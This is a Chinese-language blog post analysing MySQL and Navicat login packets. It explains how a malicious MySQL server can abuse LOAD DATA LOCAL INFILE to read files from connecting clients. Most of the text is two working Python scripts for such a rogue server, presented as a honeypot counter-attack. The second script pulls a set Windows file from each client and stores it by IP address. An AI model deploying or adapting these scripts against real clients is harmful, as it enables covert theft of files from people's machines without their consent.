Mysql登录分析
命令行登录Mysql,并抓包,可以看到
首先对Mysql版本进行验证
接着Request login,传输用户名和密码hash
登录成功,返回OK
查询版本号并返回
当执行一条语句时,抓包如下,可以看到查询语句明文传输
Navicat登录分析
登录流程和命令行登录差不多,多了几次Query
流程如下
Mysql特性
Mysql 默认打开local_infile,如为打开可执行下列命令 show global variables like'local_infile'; set global local_infile=1;
![image-20220830105153036](https://gitee.com/chuchuxingchen/blog-gallery/raw/master/img/image-20220830105153036.png)1
2
3
4
5
6
7
2. MySQL服务端可以利用`LOAD DATA LOCAL`命令来读取`MYSQL`客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的`payload`。
3. 本地执行命令
```mysql
load data local infile 'C:/Users/royal/Desktop/pass/passwd.txt' into table test.test1 fields terminated by '\n';可以看到成功读取数据并写入表中
命令分析
抓包
执行query查询,重点看下返回包
接着读取文件内容并写入
反制
反制流程也很明了了,就是socket编程模拟navicat登录,然后服务端(蜜罐)发送load local file payload即可
脚本如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37# 模拟Mysql登录
import socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)
while True:
# 建立客户端连接
clientsocket,addr = serversocket.accept()
print("连接地址: %s" % str(addr))
# 返回版本信息
version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
clientsocket.sendall(version_text)
try:
# 客户端请求信息
clientsocket.recv(9999)
except Exception as e:
print(e)
# Response OK
verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
clientsocket.sendall(verification)
try:
# SET NAMES utf8mb4
clientsocket.recv(9999)
except Exception as e:
print(e)
# Response TABULAR
evil_response = b"\x09\x00\x00\x01\xfb\x43\x3a\x2f\x31\x2e\x74\x78\x74"
clientsocket.sendall(evil_response)
# file_text
print(clientsocket.recv(9999))
clientsocket.close()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50# 反制脚本 读取C:\\Windows\\PFRO.log文件
# coding=utf-8
import socket
import os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)
def get_data(filename, client, addr):
base_path = os.path.abspath('.') + "/log/" + addr[0]
if not os.path.exists(base_path):
os.makedirs(base_path)
evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename) # 恶意响应包
client.sendall(evil_response)
file_data = client.recv(999999)
print(file_data)
with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "wb+") as f:
f.write(file_data)
f.close()
while True:
# 建立客户端连接
client, addr = server.accept()
print("连接地址: %s" % str(addr))
# 返回版本信息
version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
client.sendall(version_text)
try:
# 客户端请求信息
client.recv(9999)
except Exception as e:
print(e)
# Response OK
verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
client.sendall(verification)
try:
# SET NAMES utf8mb4
client.recv(9999)
except Exception as e:
print(e)
# Response TABULAR
filename = "C:\\Windows\\PFRO.log"
#这里为要读取的文件路径
get_data(filename, client, addr)
client.close()